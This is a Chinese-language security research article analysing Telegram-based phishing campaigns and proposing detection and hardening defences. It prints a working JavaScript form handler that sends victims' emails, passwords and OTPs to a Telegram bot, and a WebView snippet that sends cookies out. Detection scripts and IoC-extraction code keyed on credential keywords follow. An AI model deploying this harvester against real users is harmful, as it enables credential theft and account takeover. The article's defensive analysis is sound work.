摘要
近年来，随着主流通信平台安全防护能力的提升，网络攻击者正加速转向具备高可用性、强加密与低监管门槛的即时通讯工具作为新型攻击基础设施。本文聚焦于2025年曝光的一类以Telegram为核心载体的高级钓鱼活动，系统剖析其如何利用Bot API、公开频道、WebView嵌入及消息自毁等原生功能，实现凭据窃取、会话劫持与恶意分发的闭环。研究表明，攻击者通过伪造空投通知、NFT白名单邀请或软件破解资源诱导用户交互，在仿冒登录界面中部署中间人（AiTM）网关，并将窃取的凭证、一次性密码（OTP）及浏览器Cookie实时推送至私有Telegram频道，显著缩短从数据泄露到账户接管的时间窗口。此类攻击绕过了传统基于域名黑名单、C2通信特征或邮件内容分析的检测体系。本文提出一套涵盖终端行为监控、身份认证加固、浏览器运行时保护与威胁情报提取的多维防御框架，并辅以可落地的代码示例，验证对异常Telegram进程通信、WebView劫持及Bot API调用的识别能力。研究强调，面对合法平台被武器化的趋势，安全防御必须从“静态特征匹配”转向“动态行为建模”与“上下文感知”。
关键词：Telegram；钓鱼攻击；Bot API；AiTM；数据外泄；WebView劫持；零信任
1 引言
即时通讯平台因其高渗透率、端到端加密与开放API生态，已成为现代数字协作不可或缺的组成部分。然而，这一特性亦被攻击者系统性地转化为攻击优势。2025年8月，多家网络安全机构披露，多个APT关联团伙及金融犯罪组织已将Telegram作为核心基础设施，用于钓鱼分发、实时指挥与敏感数据回传。与传统依赖自建C2服务器或僵尸网络的模式不同，此类攻击完全依托Telegram的合法服务链——包括Bot API、公开频道、私有群组及内嵌WebView——构建隐蔽且高效的攻击管道。
典型攻击流程表现为：攻击者首先在Telegram公开频道发布伪装成“加密货币空投”、“NFT白名单资格”或“专业软件破解版”的诱导信息，附带短链接或自定义预览图以提升点击率；用户点击后跳转至高度仿真的登录门户（常模仿MetaMask、Coinbase或企业SSO界面）；在用户输入凭据过程中，前端JavaScript脚本实时捕获表单数据并通过Telegram Bot API发送至攻击者控制的私有频道；部分高级变种甚至直接在Telegram WebView容器内渲染钓鱼页面，绕过浏览器安全策略，实现会话Cookie的完整窃取。
此类攻击的核心挑战在于其“合法性掩护”：所有通信均经由telegram.org域名完成，符合SPF/DKIM/DMARC标准；Bot API调用使用HTTPS加密；消息支持自毁与私聊加密，极大增加取证难度。更重要的是，传统安全设备难以区分正常用户使用Telegram与恶意Bot数据回传之间的流量差异。
现有研究多集中于Telegram作为C2通道的初步识别[1][2]，但对其在钓鱼全生命周期中的深度整合——从诱饵分发、凭证捕获到实时运营——缺乏系统性解构。本文填补此空白，通过逆向真实攻击样本，还原技术细节，并构建一个覆盖“检测—阻断—响应—预防”四阶段的防御体系，特别强调对终端进程行为、浏览器运行时环境及API调用模式的细粒度监控。
2 攻击机制深度解析
2.1 攻击链路重构
根据SC Media与Cyber Security News联合披露的案例，本次攻击可分为五个关键阶段：
诱饵分发：攻击者在公开Telegram频道（如@FreeNFT_Giveaway、@AdobeCrack2025）发布消息，内容包含“限时领取”、“仅剩X名额”等紧迫性话术，并附带短链接（如t.me/claim_airdrop_xxx）或二维码图片。链接实际指向外部钓鱼站点，但预览图显示为知名项目Logo，增强可信度。
钓鱼门户部署：目标站点采用React或Vue构建，UI高度复刻真实钱包或登录页。关键特征是嵌入以下JavaScript代码：
document.getElementById('loginForm').addEventListener('submit', (e) => {
e.preventDefault();
const creds = {
email: document.getElementById('email').value,
password: document.getElementById('password').value,
otp: document.getElementById('otp')?.value || ''
};
fetch('https://api.telegram.org/bot<TOKEN>/sendMessage', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
chat_id: '<CHANNEL_ID>',
text: `New victim: ${JSON.stringify(creds)}`
})
});
// 继续提交至真实站点以维持用户体验
window.location.href = 'https://real-site.com/dashboard';
});
此代码在用户提交表单时同步将凭据发送至Telegram Bot，实现“无感窃取”。
WebView内嵌攻击：部分攻击直接通过Telegram Mini Apps或WebView打开钓鱼页面。由于WebView运行在Telegram应用沙箱内，可访问部分宿主环境信息，且不受浏览器同源策略限制。攻击者借此读取document.cookie并外传：
// 在Telegram WebView中执行
if (window.Telegram?.WebApp?.initDataUnsafe?.user) {
const cookies = document.cookie;
sendToBot({ user: Telegram.WebAssistant.user.id, cookies });
}
实时运营与横向移动：攻击者通过私有频道接收凭据后，立即尝试登录目标账户。若启用2FA，则诱导用户在“紧急验证”页面再次输入OTP，形成二次捕获。
痕迹清除：所有Bot消息设置disable_notification: true并启用自毁定时器；私聊采用Secret Chat模式，确保端到端加密且不留服务器日志。
2.2 技术规避特征
通信合法性：所有外传请求发往api.telegram.org，TLS证书有效，无法通过域名黑名单拦截。
低频异步传输：单次仅发送一条消息，避免触发流量阈值告警。
Token动态轮换：Bot Token每24小时更换，IoC生命周期极短。
无恶意载荷：页面不含可执行文件或混淆脚本，静态扫描难以识别。
2.3 社会工程策略
攻击成功依赖三重心理操纵：
稀缺性：“仅限前100名”激发抢购冲动；
权威性：仿冒知名项目官方频道；
便捷性：声称“一键连接钱包即可领取”，降低用户警惕。
3 防御体系设计
针对上述攻击特征，本文提出四层防御模型。
3.1 终端行为监控：识别异常Telegram进程
企业EDR应监控以下行为：
非授权用户启动Telegram Desktop；
Telegram进程发起大量POST请求至api.telegram.org/bot*；
进程内存中存在敏感关键词（如“password”, “otp”, “cookie”）与Telegram API调用共现。
以下Python脚本演示基于Sysmon日志的异常检测：
import json
import re
def detect_telegram_exfil(sysmon_log):
# 假设日志为Sysmon Event ID 3 (NetworkConnect)
if 'ProcessName' in sysmon_log and 'Telegram' in sysmon_log['ProcessName']:
dest = sysmon_log.get('DestinationHostname', '')
if 'api.telegram.org' in dest:
# 检查是否伴随敏感数据写入（需结合Event ID 11 FileCreate）
cmdline = sysmon_log.get('CommandLine', '')
if re.search(r'(password|otp|token|cookie)', cmdline, re.IGNORECASE):
return True
return False
更优方案是部署eBPF程序，在内核层监控进程网络行为与内存内容关联。
3.2 身份认证加固：阻断会话重放
即使凭据泄露，若启用硬件密钥（FIDO2）或设备绑定，可防止账户接管。Google、Microsoft等已支持基于客户端证书的设备绑定，会话Token与设备指纹绑定，无法在其他终端重放。
配置示例（Azure AD Conditional Access）：
{
"conditions": {
"clientAppTypes": ["browser"],
"signInRiskLevels": ["high"]
},
"grantControls": {
"operator": "AND",
"builtInControls": ["compliantDevice", "fido2"]
}
}
3.3 浏览器运行时保护：防WebView劫持
企业可通过扩展或组策略注入脚本，监控window.Telegram对象篡改：
// 安全插件注入代码
(function() {
const originalPostMessage = window.postMessage;
window.postMessage = function(message, targetOrigin) {
if (typeof message === 'string' && /password|otp/i.test(message)) {
console.warn('Suspicious data exfiltration attempt detected');
// 上报至SOC
fetch('/security/report', { method: 'POST', body: JSON.stringify({ alert: 'TelegramExfil' }) });
}
return originalPostMessage.apply(this, arguments);
};
// 监控Telegram WebApp初始化
const originalInit = window.Telegram?.WebApp?.initDataUnsafe;
Object.defineProperty(window.Telegram.WebApp, 'initDataUnsafe', {
get() { return originalInit; },
set(val) {
console.warn('Telegram WebApp initDataUnsafe tampered');
// 触发告警
}
});
})();
此外，禁用非必要网站的WebView权限可减少攻击面。
3.4 威胁情报提取：Bot Token与频道ID作为IoC
尽管Token易变，但在攻击窗口期内仍具价值。安全团队应从钓鱼页面源码中提取以下IoC：
bot<TOKEN>/sendMessage
chat_id: "<CHANNEL_ID>"
频道用户名（如@scam_channel_2025）
自动化提取脚本示例：
import requests
import re
def extract_telegram_iocs(phishing_url):
try:
resp = requests.get(phishing_url, timeout=10)
content = resp.text
tokens = re.findall(r'bot([0-9]+:[A-Za-z0-9_-]+)', content)
channels = re.findall(r'chat_id["\s]*[:=]["\s]*["\']?(-?[0-9]+)', content)
usernames = re.findall(r't\.me/([a-zA-Z0-9_]+)', content)
return {
'bot_tokens': list(set(tokens)),
'channel_ids': list(set(channels)),
'usernames': list(set(usernames))
}
except Exception as e:
return {}
此类IoC可共享至MISP或内部威胁平台，用于封禁相关Bot或监控新活动。
3.5 用户教育：识别高风险话术
培训应聚焦两类高危场景：
“连接钱包领取奖励”——合法项目从不要求用户主动连接钱包；
“输入验证码以阻止账户被盗”——OTP绝不应告知第三方。
通过模拟钓鱼演练（如伪造NFT空投页面），可量化用户风险意识水平。
4 平台侧缓解建议
Telegram可实施以下改进：
Bot滥用检测：监控异常高频sendMessage调用（>100次/分钟）、跨国家IP登录；
速率限制：对新注册Bot实施每日消息配额（如500条）；
内容扫描：对公开频道消息进行NLP分析，识别“空投”、“白名单”+“连接钱包”组合；
信誉评分：对频繁被举报的Bot自动降权或暂停服务。
5 讨论
本研究揭示了即时通讯平台被武器化的深层逻辑：攻击者不再追求技术突破，而是利用平台的“信任属性”与“功能完备性”构建低成本、高效率的攻击流水线。Telegram案例表明，当基础设施本身成为攻击媒介时，传统边界防御彻底失效。
防御的关键在于“上下文感知”：同一api.telegram.org请求，在普通用户聊天中属正常，在财务人员终端上伴随密码字段输入则高度可疑。因此，安全架构必须融合身份、设备、行为与内容四维上下文。
此外，IoC生命周期缩短要求威胁情报系统具备近实时处理能力。未来工作将探索基于图神经网络的Bot关系挖掘，以识别协同作案团伙。
6 结语
本文系统分析了Telegram基础设施在现代钓鱼攻击中的滥用模式，阐明其如何通过Bot API、频道分发与WebView嵌入实现端到端攻击闭环。研究指出，面对合法平台被武器化的趋势，企业需构建以行为分析为核心、身份认证为基石、终端监控为触角的动态防御体系。技术措施必须与用户教育协同，方能有效应对“高仿真、低特征、快周转”的新型威胁。平台方亦应承担更多安全责任，通过API治理与滥用检测抑制攻击规模化。唯有如此，方能在开放协作与安全可控之间取得平衡。
编辑：芦笛（公共互联网反网络钓鱼工作组）
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